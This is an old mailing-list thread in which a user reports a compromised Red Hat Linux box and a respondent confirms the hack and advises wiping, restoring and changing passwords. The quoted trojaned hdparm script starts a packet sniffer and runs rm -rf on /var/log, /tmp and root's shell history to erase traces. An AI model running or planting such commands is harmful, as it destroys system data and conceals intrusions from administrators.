Re: My pc hacked?

** Reply to message from "A. Johnson Jeba Asir" <[email protected]> on Sat, 19 Apr 2003 09:50:47 +0530 (IST)

> Hello all,
> 
> My RedHat Linux 6.2 pc hdparm file was replaced with the following
> contents :-
> 
> #!/bin/sh
> cd /usr/share/.pht
> /usr/sbin/xinetd stop
> ./panel -f ./s
> ./linsniffer >> ./tcp.log &
> cd /
> rm -rf /root/.bash_history
> rm -rf /var/log/*
> rm -rf /tmp/*
> cd /
> 
> 
> All the above listed commands seems to have been executed.
> 
> Also a new file named xinetd is available. The details are appended below.
> 
> I had Ipchains rules allowing restricted access.  
> 
> Now Is my PC hacked? If so please give details on how it may have been
> done? How do I prevent this from happening again?

Yes, you have been hacked. The following page has a description of linsniffer:

http://mandrake.petra.ac.id:8888/info/max/BkPg155x97.htm

Looks like this perp has been a little more creative. Needless to say, a wiping
of the drive and restore from backup is the best mode of repair. And please change all passwords and lock down the box before you plug it back into the net.

jb